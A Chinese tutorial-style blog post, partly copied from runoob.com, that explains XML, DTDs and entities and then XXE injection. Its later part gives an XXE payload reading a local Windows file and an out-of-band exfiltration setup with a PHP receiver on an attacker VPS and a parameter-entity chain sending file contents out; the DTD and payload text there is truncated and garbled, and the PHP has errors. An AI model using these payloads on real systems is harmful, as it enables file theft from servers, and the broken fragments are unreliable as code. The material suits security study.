copy至:https://www.runoob.com/xml/xml-tutorial.html
学习xxe为什么要了解XML和DTD,直接跳至Xxe查看;
XML 指可扩展标记语言(eXtensible Markup Language)。
XML 被设计用来传输和存储数据。
<?xml version="1.0" encoding="ISO-8859-1"?> //声明
<note> //根元素
<to>**Tove**</to> //子元素
<from>**Jani**</from>
<heading>**Reminder**</heading>
<body>**Don't forget me this weekend!**</body>
</note>
文档类定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>
<!DOCTYPE note [ //DTD声明定义
<!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading,、body"
<!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
<!DOCTYPE root-element SYSTEM "filename">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> //DTD外部链接
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
外部文件内容:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
<!ENTITY entity-name "entity-value">
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML 实例引用DTD:
<author>&writer;©right;</author>
//一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
<!ENTITY entity-name SYSTEM "URI/URL">
DTD 实例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
XML 实例引用DTD:
<author>&writer;©right;</author>
copy自: http://www.vervet.com/
<!DOCTYPE CATALOG [
<!ENTITY AUTHOR "John Doe">
<!ENTITY COMPANY "JD Power Tools, Inc.">
<!ENTITY EMAIL "jd@jd-tools.com">
<!ELEMENT CATALOG (PRODUCT+)>
<!ELEMENT PRODUCT
(SPECIFICATIONS+,OPTIONS?,PRICE+,NOTES?)>
<!ATTLIST PRODUCT
NAME CDATA #IMPLIED
CATEGORY (HandTool|Table|Shop-Professional) "HandTool"
PARTNUM CDATA #IMPLIED
PLANT (Pittsburgh|Milwaukee|Chicago) "Chicago"
INVENTORY (InStock|Backordered|Discontinued) "InStock">
<!ELEMENT SPECIFICATIONS (#PCDATA)>
<!ATTLIST SPECIFICATIONS
WEIGHT CDATA #IMPLIED
POWER CDATA #IMPLIED>
<!ELEMENT OPTIONS (#PCDATA)>
<!ATTLIST OPTIONS
FINISH (Metal|Polished|Matte) "Matte"
ADAPTER (Included|Optional|NotApplicable) "Included"
CASE (HardShell|Soft|NotApplicable) "HardShell">
<!ELEMENT PRICE (#PCDATA)>
<!ATTLIST PRICE
MSRP CDATA #IMPLIED
WHOLESALE CDATA #IMPLIED
STREET CDATA #IMPLIED
SHIPPING CDATA #IMPLIED>
<!ELEMENT NOTES (#PCDATA)>
]>
% 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用XML External Entity (XXE) Processing是 XML 外部实体注入;
我们可以控制的点就是上面的DTD实体(包括通用实体和参数实体),外部实体类似于一个XML的包含,我们可以包含我们想要的东西;
如果您的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么您很有可能会遭到XXE的攻击。
<?xml version="1.0"?>
<!DOCTYPE p0laris [ //p0laris随便写
<!ENTITY test SYSTEM "file:///c:/windows/win.ini"> //test内部实体名称随便写,file后面接的你要读取的文件
]>
<xxx>&test</xxx> //xxx标签名字要使用数据包中的原生标签,&test引用
VPS部署:
test.php
<?php
$ipd = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";
if($ipd){
$a = empty($_GET['a'])? "" : $_GET['a'];
$t = empty($_SERVER['HTTP_REFERER'])? "" : $_SERVER['HTTP>REFERER'];
$txt = htmlspecialchars($ipd."--".$a."--".$_SERVER['REQUEST_URI']."--".$t."\r\n");
$n = fopen("test.txt","a+");
# $x = fwrite($n,$txt);
}
test.txt : 用来接收上面php发过来的参数;
test.dtd
">
%pe1;
发送的payload:
%pe3;
]>
过程,先调用pe3,到服务器获取test.dtd文件,调用pe1,调用pe2,读取本地文件,访问test.php带着pe2作为参数发送给服务器,test.php解析后写入test.txt;
手机扫一扫
移动阅读更方便
你可能感兴趣的文章